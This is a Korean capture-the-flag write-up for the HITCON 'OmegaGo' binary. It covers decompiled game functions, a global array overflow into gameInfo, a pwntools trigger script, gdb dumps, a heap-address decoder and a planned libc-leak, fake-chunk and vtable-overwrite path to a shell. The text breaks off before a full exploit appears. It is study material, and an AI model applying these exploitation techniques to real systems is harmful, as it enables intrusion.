You are viewing an old version of this page. View the current version.

Compare with Current View Page History

« Previous Version 2 Next »

List


Infomation

Description

내용

Want to fight with AlphaGo? Beat OmegaGo first.
nc 52.198.232.90 31337


Note: The game rule has been simplified to make life easier.

omega_go 
libc.so.6

Related file

Source Code

Source code


Write Up

File information

File information
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ checksec.sh --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ 

Binary analysis


  • 다음과 같은 기능을 제공합니다.
    • 행,열을 번호를 입력하여 원하는 영역에 마크를 표시할 수 있습니다.
      • Ex) A19
    • "surrender"를 이용하여 게임을 포기하고 다시 시작할 수 있습니다.
    • "regret"을 이용하여 플레이를 되돌릴 수 있습니다.


Play game
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

A19
   ABCDEFGHIJKLMNOPQRS
19 X..................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ..................O
Time remain: O: 180.00, X: 173.38

regret
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00
surrender
This AI is too strong, ah?
Play history? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
piece O play at J10
Time remain: O: 180.00, X: 180.00

Play again? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

Main()

  • 해당 함수는 while() 함수를 이용하여 MainFunction()함수를 계속 호출합니다.
main()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@3
  __int64 v4; // rbx@3
  __int64 v5; // [rsp+8h] [rbp-18h]@1

  v5 = *MK_FP(__FS__, 40LL);
  alarm(0xB4u);
  setvbuf(stdout, 0LL, 2, 0LL);
  while (MainFunction());
  result = 0LL;
  v4 = *MK_FP(__FS__, 40LL) ^ v5;
  return result;
}

MainFunction(0x401738)

  • 해당 함수는 다음과 같은 기능을 합니다.
    • DefaultSet() 함수를 통해 게임 진행시 필요한 변수의 초기화를 선언합니다.

    • "operator new(8uLL)" 코드를 이용하여 vtable정보를 저장할 Heap 영역을 할당합니다.

      • 할당된 Heap의 크기는 0x20byte 입니다.
    • 할당된 Heap 영역의 주소값은 Computer, Human Class 변수에 저장합니다.
    • while()을 통해 게임을 플레이하기 위한 기능을 실행합니다.

    • gettimeofday() 함수를 이용하여 플레이어의 게임 플레이 시간을 계산합니다.

    • rowNumber, colNumber 의 값이 -1과 같다면 게임을 종료합니다.

    • rowNumber, colNumber 의 값이 -2일 경우에는 게임 턴을 한차례 돌리는 regret()함수를 호출합니다.
    • 그외의 rowNumber, colNumber 값이 입력 되면 플레이어의 플레이시간을 저장합니다.
      • 총 플레이시간이 0.0보다 작으면 게임을 종료합니다.
      • 총 플레이시간이 0.0보다 크면 SetMarkForBoard()함수를 이용하여 게임 보드 rowNumber,colNumber 위치에 표시합니다.
MainFunction()
bool MainFunction()
{
  Class1 *v0; // rax@1
  Class1 *Computer; // rbx@1
  Class2 *v2; // rax@1
  Class2 *Human; // rbx@1
  bool result; // al@13
  __int64 v5; // rcx@13
  unsigned int rowNumber; // [rsp+Ch] [rbp-64h]@3
  unsigned int colNumber; // [rsp+10h] [rbp-60h]@3
  unsigned int playerInfo; // [rsp+14h] [rbp-5Ch]@1
  double playTime; // [rsp+18h] [rbp-58h]@3
  struct timeval startTime; // [rsp+20h] [rbp-50h]@3
  struct timeval endTime; // [rsp+30h] [rbp-40h]@3
  Class1 *Computer_1; // [rsp+40h] [rbp-30h]@1
  Class2 *Human_1; // [rsp+48h] [rbp-28h]@1
  __int64 canary; // [rsp+58h] [rbp-18h]@1

  canary = *MK_FP(__FS__, 40LL);
  DefaultSet();
  playerInfo = 1;
  operator new(8uLL);
  Computer = v0;
  v0->vtable = 0LL;
  class::ctor(v0);
  Computer_1 = Computer;
  operator new(8uLL);
  Human = v2;
  v2->vtable = 0LL;
  class2::ctor(v2);
  Human_1 = Human;
  while ( !((unsigned __int8)sub_401202(playerInfo, &gameInfo) ^ 1) )
  {
    gettimeofday(&startTime, 0LL);
    ((void (__fastcall *)(Class1 *, GameInfo *, _QWORD, unsigned int *, unsigned int *))(&Computer_1)[playerInfo - 1]->vtable->Method_1)(
      (&Computer_1)[playerInfo - 1],
      &gameInfo,
      playerInfo,
      &rowNumber,
      &colNumber);
    gettimeofday(&endTime, 0LL);
    playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0
             + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec));
    if ( rowNumber == -1 || colNumber == -1 )   // surrender
      break;
    if ( rowNumber != -2 && colNumber != -2 )   // Default
    {
      *(double *)&gameInfo.board[(signed int)(playerInfo - 1) + 14LL] = *(double *)&gameInfo.board[(signed int)(playerInfo - 1)
                                                                                                 + 14LL]
                                                                      - playTime;
      if ( *(double *)&gameInfo.board[(signed int)(playerInfo - 1) + 14LL] < 0.0 )
        print("Time's up");
      SetMarkForBoard(&gameInfo, rowNumber, colNumber, playerInfo, 0);
      playerInfo ^= 3u;
    }
    else if ( (unsigned __int8)regret() ^ 1 )   // regret
    {
      print("No you cant't");
    }
  }
  CheckResults();
  PlayHistory();
  result = PlayAgain();
  v5 = *MK_FP(__FS__, 40LL) ^ canary;
  return result;
}

vtable

  • 해당 프로그램은 C++ 로 개발되어 있으여 클래스를 생성해서 사용하고 있습니다.
    • 그리고 해당 클래스에서는 virtual function를 선언해서 사용합니다.
  • 다음과 같은 형태를 가집니다.
Class information
class Player {
 public:
  virtual void Play(GameInfo *info, _QWORD playerInfo, unsigned int *row, unsigned int *col) {};
};

class Computer : public Player { ... };
class Human : public Player { ... };
  • Computer, Human Class에 호출하는 Player 함수의 주소는 다음과 같습니다.

Class

Call vtable function

Rename

Computer

40290A()


Hummand

402C12()

UserInput

UserInput

  • 해당 함수는 다음과 같은 기능을 합니다.
    • PrintGameBoard_0() 함수를 이용하여 Go board를 출력합니다.
    • scanf() 함수를 이용하여 최대 10개의 문자를 입력 받습니다.
      • 입력받은 문자열은 다음과 같이 데이터 처리 합니다.
        • 입력한 문자열이 "surrender"는 *colNumber, *rowNumber 변수에 -1을 저장합니다.
        • 입력한 문자열이 "regret"는 *colNumber, *rowNumber 변수에 -2을 저장합니다.
        • 앞에 두 문자열과 같지 않을 경우 다음과 같이 데이터를 처리합니다.
          • sscanf() 함수를 이용하여 문자와 숫자 값을 분리 합니다.
          • 그리고 해당 값은 CheckBoardArea()함수를 이용하여 Go board 범위 안에 포함되는지 확인합니다.
UserInput()
__int64 __fastcall UserInput(__int64 a1, __int64 a2, __int64 a3, signed int *a4, signed int *a5)
{
 bool v5; // al@11
 signed int *colNumber; // [rsp+8h] [rbp-38h]@1
 signed int *rowNumber; // [rsp+10h] [rbp-30h]@1
 char colChar; // [rsp+37h] [rbp-9h]@7
 __int64 v10; // [rsp+38h] [rbp-8h]@1

 rowNumber = a4;
 colNumber = a5;
 v10 = *MK_FP(__FS__, 40LL);
 PrintGameBoard_0(a2);
 memset(command, 0, 0xCuLL);
 if ( scanf("%10s", command) != 1 )
 print("Er?");
 if ( !strcmp("surrender", command) )
 {
 *colNumber = -1;
 *rowNumber = *colNumber;
 }
 else if ( !strcmp("regret", command) )
 {
 *colNumber = -2;
 *rowNumber = *colNumber;
 }
 else
 {
 if ( sscanf(command, "%c%d", &colChar, rowNumber) != 2 )
 print("Input like 'A19'");
 *colNumber = colChar - 'A';
 *rowNumber = 19 - *rowNumber;
 v5 = (unsigned __int8)CheckBoardArea(*rowNumber) ^ 1 || (unsigned __int8)CheckBoardArea(*colNumber) ^ 1;
 if ( v5 )
 print("No overflow plz.");
 }
 return *MK_FP(__FS__, 40LL) ^ v10;
}

PrintGameBoard

  • 해당 함수는 다음과 같은 기능을 합니다.
    • Go game board를 출력합니다.
      • puts() 함수를 이용해서 세로 좌표값을 출력합니다.(ABCD...)
      • GetMarkForBoard()함수를 이용하여 전달된 인자값에 위치한 mark를 출력합니다.
    • fprintf()함수를 이용하여 Player의 play 시간을 출력합니다.
    • a2변수는 History 출력할때 사용되는 설정 값입니다.
      • a2변수 값으로 1이 전달되면, 플레이어의 Mark와 좌표값을 출력합니다.
PrintGameBoard()
__int64 __fastcall PrintGameBoard(GameInfo *gameInfo, char a2)
{
 char v2; // al@6
 signed int row; // [rsp+20h] [rbp-10h]@1
 signed int col; // [rsp+24h] [rbp-Ch]@5
 __int64 v6; // [rsp+28h] [rbp-8h]@1

 v6 = *MK_FP(__FS__, 40LL);
 puts(" ABCDEFGHIJKLMNOPQRS");
 for ( row = 0; row <= 18; ++row )
 {
 	if ( 19 - row <= 9 )
 		putchar(' ');
 	else
 		putchar('1');
 		putchar((19 - row) % 10 + 48);
 		putchar(' ');
 	for ( col = 0; col <= 18; ++col )
 	{
 		v2 = GetMarkForBoard(gameInfo, row, col);
 		putchar(v2);
 	}
 	puts(&byte_404E87);
 }
 if ( a2 )
 	fprintf(
	 stdout,
	 "piece %c play at %c%d\n",
	 LODWORD(gameInfo->colNumber),
	 (unsigned int)(HIDWORD(gameInfo->rowNumber) + 'A'),
	 (unsigned int)(19 - LODWORD(gameInfo->rowNumber)));
 fprintf(
 stdout,
 "Time remain: %c: %6.2lf, %c: %6.2lf\n",
 'O',
 'X',
 *(double *)&gameInfo->player,
 gameInfo->playTimeForCom);
 puts(&byte_404E87);
 return *MK_FP(__FS__, 40LL) ^ v6;
}

struct GameInfo

  • 다음은 해당 프로그램에서 사용하는 Struct 입니다.
  • 해당 Struct는 게임 플레이 정보를 기록하는 Struct입니다.
    • board[12] 변수에는 Go game board 내용을 저장합니다.

    • rowNumber는 row의 좌표값을 저장합니다.

    • colNumber는 Col의 좌표값을 저장합니다.
    • Player는 player의 Mark를 저장합니다.(O, X)
    • playTimeForCom는 컴퓨터의 Play 시간을 저장합니다.

    • playTimeForHum는 사람의 Play 시간을 저장합니다.
struct GameInfo{ ... }
struct GameInfo
{
  _QWORD board[12];
  _DWORD rowNumber;
  _DWORD colNumber;
  _QWORD player;
  double playTimeForCom;
  double playTimeForHum;
};

ResetGameinfo - 0x04010AE

  • 해당 구조체는 다음 함수에서 초기화 됩니다.
    • memset()함수를 이용하여 0x60 byte만큼 0으로 초기화 합니다.
    • rowNumber,colNumber의 값을 -1로 저장합니다.

    • player의 값으로는 0을 저장합니다.
    • playTimeForHum, playTimeForCom의 값으로 4640537203540230144을 저장합니다.

ResetGameinfo_04010AE(GameInfo *gameInfo)
__int64 __fastcall ResetGameinfo(GameInfo *gameInfo)
{
  GameInfo *tmp; // ST08_8@1
  __int64 canary; // ST18_8@1

  tmp = gameInfo;
  canary = *MK_FP(__FS__, 40LL);
  memset(gameInfo, 0, 0x60uLL);
  gameInfo->colNumber = -1;
  tmp->rowNumber = tmp->colNumber;
  LODWORD(gameInfo->player) = 0;
  *(_QWORD *)&gameInfo->playTimeForHum = 4640537203540230144LL;
  tmp->playTimeForCom = tmp->playTimeForHum;
  return *MK_FP(__FS__, 40LL) ^ canary;
}

SetMarkForBoard - 0x04025B2

  • 해당 함수는 다음과 같은 기능을 합니다.
    • GetMarkForBoard() 함수를 이용하여 유저가 입력한 좌표의 값이 '.' 문자와 같은지 확인합니다.

    • playerInfo의 값을 이용하여 board에 표시할 mark 문자를 설정합니다.
    • 그리고 사용자로 부터 입력받은 값이 정상적인 값인지 확인합니다.
    • 마지막으로 그 값이 정상적인 값이라면 다음과 같은 처리를 진행합니다.
      • "operator new(0x80uLL)" 코드에 의해 Heap 영역을 할당합니다.
        • 할당된 Heap 메모리의 크기는 0x90 byte 입니다.
      • gameInfo에 보관된 값을 할당된 Heap 영역에 저장합니다.
      • 할당된 Heap 영역의 주소 값을 history[]변수에 저장합니다.
SetMarkForBoard
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameInfo, unsigned int rowNumber, unsigned int colNumber, int playerInfo, unsigned __int8 a5)
{
  signed __int64 result; // rax@3
  signed int playerMark; // eax@6
  bool v7; // al@11
  GameInfo *v8; // rax@28
  GameInfo *v9; // ST30_8@28
  __int64 v10; // rbx@30
  unsigned __int8 v11; // [rsp+8h] [rbp-48h]@1
  int playerDistinction; // [rsp+Ch] [rbp-44h]@1
  signed int playerMark_1; // [rsp+Ch] [rbp-44h]@8
  unsigned int col; // [rsp+10h] [rbp-40h]@1
  signed int i; // [rsp+24h] [rbp-2Ch]@8
  unsigned int row; // [rsp+28h] [rbp-28h]@9
  int v17; // [rsp+2Ch] [rbp-24h]@9
  __int64 v18; // [rsp+38h] [rbp-18h]@1

  col = colNumber;
  playerDistinction = playerInfo;
  v11 = a5;
  v18 = *MK_FP(__FS__, 40LL);
  if ( (unsigned __int8)GetMarkForBoard(gameInfo, rowNumber, colNumber) == '.' )
  {
    if ( playerDistinction == 1 )
      playerMark = 'O';
    else
      playerMark = 'X';
    playerMark_1 = playerMark;
    sub_401D48(gameInfo, rowNumber, col, playerMark);
    LODWORD(gameInfo->rowNumber) = rowNumber;
    HIDWORD(gameInfo->rowNumber) = col;
    for ( i = 0; i <= 3; ++i )
    {
      row = dword_404FE0[i] + rowNumber;
      v17 = dword_404FF0[i] + col;
      v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(v17) ^ 1;
      if ( !v7
        && (char)GetMarkForBoard(gameInfo, row, v17) == 167 - playerMark_1
        && (unsigned int)sub_402330(gameInfo, row, v17) == 0 )
      {
        sub_4024C2((__int64)gameInfo, row, v17);
      }
    }
    if ( (unsigned int)sub_402330(gameInfo, rowNumber, col) == 0 )
    {
      if ( !v11 )
        print("Why you do this :((");
      result = 0LL;
    }
    else if ( (unsigned __int8)sub_402528(gameInfo, v11) )
    {
      if ( !v11 )
        print("Wanna Ko Fight?");
      result = 0LL;
    }
    else
    {
      if ( v11 != 1 )
      {
        LODWORD(gameInfo->colNumber) = playerMark_1;
        operator new(0x80uLL);
        v8->board[0] = gameInfo->board[0];
        v8->board[1] = gameInfo->board[1];
        v8->board[2] = gameInfo->board[2];
        v8->board[3] = gameInfo->board[3];
        v8->board[4] = gameInfo->board[4];
        v8->board[5] = gameInfo->board[5];
        v8->board[6] = gameInfo->board[6];
        v8->board[7] = gameInfo->board[7];
        v8->board[8] = gameInfo->board[8];
        v8->board[9] = gameInfo->board[9];
        v8->board[10] = gameInfo->board[10];
        v8->board[11] = gameInfo->board[11];
        v8->rowNumber = gameInfo->rowNumber;
        v8->colNumber = gameInfo->colNumber;
        v8->player = gameInfo->player;
        v8->playTimeForCom = gameInfo->playTimeForCom;
        v9 = v8;
        LODWORD(v8) = historyCount++;
        history[(signed int)v8] = v9;
      }
      result = 1LL;
    }
  }
  else
  {
    if ( !v11 )
      print("You cheater!");
    result = 0LL;
  }
  v10 = *MK_FP(__FS__, 40LL) ^ v18;
  return result;
}

regret() - 0x0401609

  • 해당 함수는 다음과 같은 기능을 처리 합니다.
    • Computer,사람의 플레이 정보를 지우기 위해 DeletePlayHistory()를 2번 호출합니다.

      • history[]배열의 끝에 저장된 2개의 값을 제거합니다.
    • 그리고 history[] 배열에 끝에 저장된 heap 영역의 정보를 gameInfo 전역 변수에 저장합니다.
      • 이전 플레이로 되돌리는 것입니다.
regret()
signed __int64 regret()
{
  signed __int64 result; // rax@2
  GameInfo *tmp; // rax@4
  __int64 v2; // rcx@6
  __int64 v3; // [rsp+8h] [rbp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  if ( historyCount > 1 )
  {
    DeletePlayHistory();                        // Computer play history
    DeletePlayHistory();                        // Human paly history
    if ( history[historyCount - 1] )
    {
      tmp = history[historyCount - 1];
      gameInfo.board[0] = tmp->board[0];
      gameInfo.board[1] = tmp->board[1];
      gameInfo.board[2] = tmp->board[2];
      gameInfo.board[3] = tmp->board[3];
      gameInfo.board[4] = tmp->board[4];
      gameInfo.board[5] = tmp->board[5];
      gameInfo.board[6] = tmp->board[6];
      gameInfo.board[7] = tmp->board[7];
      gameInfo.board[8] = tmp->board[8];
      gameInfo.board[9] = tmp->board[9];
      gameInfo.board[10] = tmp->board[10];
      gameInfo.board[11] = tmp->board[11];
      *(_QWORD *)&gameInfo.rowNumber = *(_QWORD *)&tmp->rowNumber;
      gameInfo.player = tmp->player;
      gameInfo.playTimeForCom = tmp->playTimeForCom;
      gameInfo.playTimeForHum = tmp->playTimeForHum;
    }
    result = 1LL;
  }
  else
  {
    result = 0LL;
  }
  v2 = *MK_FP(__FS__, 40LL) ^ v3;
  return result;
}

DeletePlayHistory()

  • 해당 함수는 다음과 같은 기능을 처리합니다.
    • 이전에 play한 history가 있는지 확인합니다.
    • 해당 history가 있다면 operator delete() 를 이용해 해당 history를 삭제 합니다.
    • 그리고 historyCount값도 감소 시킵니다.
DeletePlayHistory()
__int64 DeletePlayHistory()
{
  __int64 v1; // [rsp+0h] [rbp-10h]@2
  __int64 canary; // [rsp+8h] [rbp-8h]@1

  canary = *MK_FP(__FS__, 40LL);
  if ( !history[historyCount - 1] )
    return *MK_FP(__FS__, 40LL) ^ canary;
  v1 = sub_401EB6(history[historyCount - 1]);

  operator delete(history[historyCount - 1]);


  sub_402FE6((__int64)&unk_607220, (__int64)&v1);
  --historyCount;
  return *MK_FP(__FS__, 40LL) ^ canary;
}

Explanation of vulnerability

Overflow

  • 해당 프로그램의 취약성은 history를 저장하는 부분에서 발생합니다.
    • 사용자가 입력한 좌표값을 history[] 배열에 저장하는데 제한이 없습니다.
    • history[] 변수는 전역 변수이며, 배열의 크기는 364 입니다.
      • GameInfo *history[364]

    • history[] 전역 변수의 위치는 0x609460입니다.
Overflow
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameInfo, unsigned int rowNumber, unsigned int colNumber, int playerInfo, unsigned __int8 a5)
{
	...
      if ( v11 != 1 )
      {
        LODWORD(gameInfo->player) = playerMark_1;
        operator new(0x80uLL);
        *v8 = *gameInfo;
        v9 = v8;
        LODWORD(v8) = historyCount++;
        history[(signed int)v8] = v9;
      }
	...
}
  • 해당 Overflow 취약성을 이용해 전역 변수 gameInfo의 값을 변경할 수 있습니다.
    • 전역 변수 gameInfo의 주소는 0x609FC0입니다.
    • 해당 위치는 바로 history[] 전역 변수 바로 뒤에 위치합니다.
      • 0x609FC0 - 0x609460 = 0xb60(2912) / 0x8(address len) = 364
  • 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
Overflow for gameInfo
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)


def Fill(colStart, colEnd, row):
	for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
		locate = str(col_list[colNum])
		locate += str(row)
		Play(locate)


Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gameInfo 전역 변수에 heap address 값이 저장된 것을 확인 할 수 있습니다.
overflow for gameInfo
autolycos@ubuntu:~$ sudo gdb -q -p 32116
Attaching to process 32116

...


(gdb) x/wx 0x609FC0
0x609fc0:	0x02320180
(gdb) x/gx 0x609FC0
0x609fc0:	0x0000000002320180
(gdb) x/8gx 0x609FC0 - 0x10
0x609fb0:	0x0000000002320000	0x00000000023200c0
0x609fc0:	0x0000000002320180	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
(gdb)
  • 그리고 해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
    • 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.
Board
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ python fillout.py 
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': Done
   ABCDEFGHIJKLMNOPQRS
19 ...XO...X.\x00.X......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 XXXXXXXXXXX........
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
 9 OOOOOOOOOOOOOOOOOOO
 8 ........OOOOOOOOOOO
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.83
$

Decode

  • 추출된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
  • 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
    • 유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.

    • 컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.

좌표 입력
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 

... board print ...

A19
... board print ...

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000002	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000010000
(gdb) 
  • 메모리의 변화는 조금더 확인하기 위해 19열을 가득 채워 보겠습니다.
    • 유저가 입력한 값은 0x2aaaaaaaaa 입니다.

    • 컴퓨터가 입력한 값은 0x01555555555 입니다.

19열 채우기
   ABCDEFGHIJKLMNOPQRS
19 XXXXXXXXXXXXXXXXXXX
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 OOOOOOOOOOOOOOOOOOO
Time remain: O: 180.00, X: 141.02

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000002aaaaaaaaa	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x5555500000000000	0x0000000000015555
(gdb)
  • 앞에서 확인한 내용을 바탕으로 Player별 Mark 표시는 다음과 같이 bit단위로 설정하고 있다는 것을 알수 있습니다.
Mark 식별

Mark /

Player

X

X.

XX

bithexbithexbithex

Computer

10

0x2

10000x8

1010

0xA

Humman

01

0x1

01000x4

0101

0x5
  • 이러한 정보를 이용하여 다음과 같은 복호화 도구를 작성할 수 있습니다.
Decode()
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result

공격방식 설정

  • Payload의 순서는 다음과 같습니다.
Payload 순서
  1. Leak Libc Address
  2. Overwrite the Computer Class
  3. Overwrite the vtable
  • 이를 조금더 자세하게 설명하면 다음과 같습니다.
상세 설명
  1. LeakLibcAddress
    1. Overwrites gameInfo data
    2. Heap address change
    3. Deletes the allocated heap memory.
  2. Overwrite the Computer Class
    1. Memory reallocation
    2. Fake chunk
    3. Heap address change
    4. Deletes the allocated heap memory.
  3. Overwrite the vtable
    1. execve("/bin/sh")
  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
  • Leak libc address
  • Fake chunk
  • execve("/bin/sh")

공격에 필요한 정보 수집

surrender

  • 정보 수집을 진행하기 전에 알아야 할 정보가 있습니다.
  • 그것은 바로 surrender 명령어 호출시 할당되는 Heap 영역의 변화입니다.
    • surrender명령어를 입력하고 게임을 다시 시작하면, MainFunction()함수를 다시 호출합니다.
    • 여기서 중요한 부분은 DefaultSet() 함수 입니다.
  • DefaultSet()는 다음과 같은 기능을 합니다.
    • History[] 배열에 저장된 내용을 삭제 합니다.
    • sub_40210A()함수를 호출해 gameInfo 의 데이터도 초기화 합니다.
DefaultSet()
__int64 DefaultSet()
{
  signed int row; // [rsp+0h] [rbp-20h]@1
  signed int col; // [rsp+4h] [rbp-1Ch]@2
  signed int playerCnt; // [rsp+8h] [rbp-18h]@3
  int i; // [rsp+Ch] [rbp-14h]@12
  FILE *stream; // [rsp+10h] [rbp-10h]@1
  __int64 v6; // [rsp+18h] [rbp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  stream = fopen("/dev/urandom", "rb");
  for ( row = 0; row <= 18; ++row )
  {
    for ( col = 0; col <= 18; ++col )
    {
      for ( playerCnt = 0; playerCnt <= 2; ++playerCnt )
      {
        if ( fread(&qword_607260[playerCnt + 3LL * col + 57LL * row], 1uLL, 8uLL, stream) != 8 )
          print("WT..");
      }
    }
  }
  fclose(stream);
  for ( i = 0; i < historyCount; ++i )
  {
    operator delete(history[i]);
    history[i] = 0LL;
  }
  sub_402FA8((__int64)&unk_607220);
  historyCount = 0;
  sub_40210A((__int64)&gameInfo);
  return *MK_FP(__FS__, 40LL) ^ v6;
}
  • 여기서 중요한 것은 vtable(Computer, Humman)에 대한 해제가 없다는 것입니다.
    • "Surrender"명령어를 실행할 때 마다 Computer, Human에서 사용하는 vtable 영역(0x40byte)이 매번 생성됩니다.
    • 이로 인해 gameInfo 내용을 저장할 Heap 주소의 위치가 변경됩니다.
  • 다음은 디버깅을 통해 확인한 메모리의 변화 입니다.
    • 첫 플레이 정보를 저장하기 위한 Heap 영역의 주소는 0x60b080 입니다.
    • surrender 명령 실행 후 첫 플레이 정보를 저장 주소는 0x60b0c0 입니다.

    • 다시 surrender 명령 실행 후 첫 플레이 정보를 저장 주소는 0x60b100 입니다.
      • 각 0x40byte 차이가 납니다.
    • 처음에 할당 받은 메모리 영역에는 vtable 정보를 저장하기 위한 heap 영역이 할당되어 있습니다.
메모리의 변화
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
(gdb) b *0x04027C3
Breakpoint 1 at 0x4027c3
(gdb) r
Starting program: /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 

Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) x/i $rip
=> 0x4027c3:	callq  0x400f70 <_Znwm@plt>
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax            0x60b080	6336640
(gdb) c
Continuing.


...
surrender
...
Play again? (y/n)
y

Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax            0x60b0c0	6336704
(gdb) c
Continuing.


...
surrender
...
Play again? (y/n)
y

Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax            0x60b100	6336768
(gdb) x/18gx 0x60b080
0x60b080:	0x0000000000405040	0x0000000000000000
0x60b090:	0x0000000000000000	0x0000000000000021
0x60b0a0:	0x0000000000405020	0x0000010000000000
0x60b0b0:	0x0000000000000000	0x0000000000000021
0x60b0c0:	0x0000000000405040	0x0000000000000000
